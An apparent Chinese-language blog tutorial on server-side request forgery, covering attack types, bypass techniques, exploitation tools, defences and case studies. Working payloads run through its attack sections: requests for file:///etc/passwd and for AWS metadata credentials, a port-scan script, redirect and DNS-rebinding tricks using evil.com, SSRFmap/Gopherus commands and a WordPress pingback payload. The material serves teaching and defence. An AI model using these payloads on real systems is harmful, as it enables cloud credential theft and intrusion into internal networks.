1. 什么是SSRF攻击?
SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种利用服务器作为代理发起非预期请求的攻击方式。攻击者通过控制服务器向内部系统或云元数据接口发送请求,导致内网渗透、数据泄露甚至远程代码执行。
危害等级:🔥🔥🔥🔥🔥(极高危)
典型场景:
-
云服务器元数据API访问(169.254.169.254)
-
内网服务扫描(Redis/MySQL未授权访问)
-
文件读取(file://协议)
2. SSRF攻击原理
漏洞产生条件
-
服务端存在网络请求功能(如URL预览、网页抓取)
-
请求目标可由攻击者部分或完全控制
-
服务器与内网存在信任关系
攻击流程
3. 攻击类型与实战利用
(1) 基础SSRF(HTTP/HTTPS协议)
GET /api/fetch?url=http://internal.example.com/admin HTTP/1.1
Host: vuln-site.com
利用效果:访问内网管理界面
(2) 文件读取(File协议)
GET /api/download?url=file:///etc/passwd HTTP/1.1
防御方案:禁用file://
、gopher://
等危险协议
(3) 云元数据攻击(AWS/Azure/GCP)
GET /api/export?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
获取内容:云服务器临时密钥(可导致云环境沦陷)
(4) 端口扫描(Redis/SSH爆破)
import requests
for port in [6379, 3306, 22]:
res = requests.get(f"http://vuln-site.com/api?url=http://127.0.0.1:{port}")
if res.status_code != 500:
print(f"Port {port} is open!")
4. 高级绕过技术
(1) DNS重绑定攻击
GET /api/fetch?url=http://evil.com/ HTTP/1.1
Host: vuln-site.com
攻击步骤:
-
控制evil.com的DNS解析
-
首次解析返回合法IP通过校验
-
TTL过期后解析到127.0.0.1
(2) 302跳转绕过
# 恶意服务器代码(Flask示例)
@app.route('/redirect')
def redirect():
return redirect("http://169.254.169.254", code=302)
(3) URL解析混淆
GET /api/fetch?url=http://user:pass@internal.example.com HTTP/1.1
GET /api/fetch?url=http://internal.example.com:80@evil.com
5. 自动化利用工具
-
Gopherus:生成攻击Redis/MySQL的SSRF Payload
-
python gopherus.py --exploit redis
- SSRFmap:自动化扫描与利用
-
python ssrfmap.py -r req.txt -p url=http://127.0.0.1 --lhost=attacker-ip
-
Burp Collaborator:检测盲SSRF
6. 防御方案
(1) 网络层防护
-
禁止访问内网IP段(如
127.0.0.0/8
、10.0.0.0/8
) -
使用独立网络沙箱处理外部请求
(2) 协议与域名白名单
ALLOWED_DOMAINS = ['example.com']
ALLOWED_SCHEMES = ['http', 'https']
def validate_url(url):
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError("Invalid scheme")
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
(3) 云环境加固
-
限制元数据API访问(AWS IMDSv2)
-
# AWS IMDSv2强制启用 aws ec2 modify-instance-metadata-options --instance-id i-123456 --http-tokens required
(4) 请求隔离
-
使用无特权容器处理外部请求
-
设置请求超时(如3秒)
7. 真实案例
案例1:某电商平台图片处理服务存在SSRF
-
攻击链:
-
上传图片URL为
http://169.254.169.254/latest/meta-data
-
服务器获取AWS密钥
-
攻击者接管云服务器
-
案例2:WordPress XML-RPC SSRF(CVE-2022-3590)
<methodCall>
<methodName>pingback.ping</methodName>
<params><param><value>http://internal-db:3306</value></param></params>
</methodCall>
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容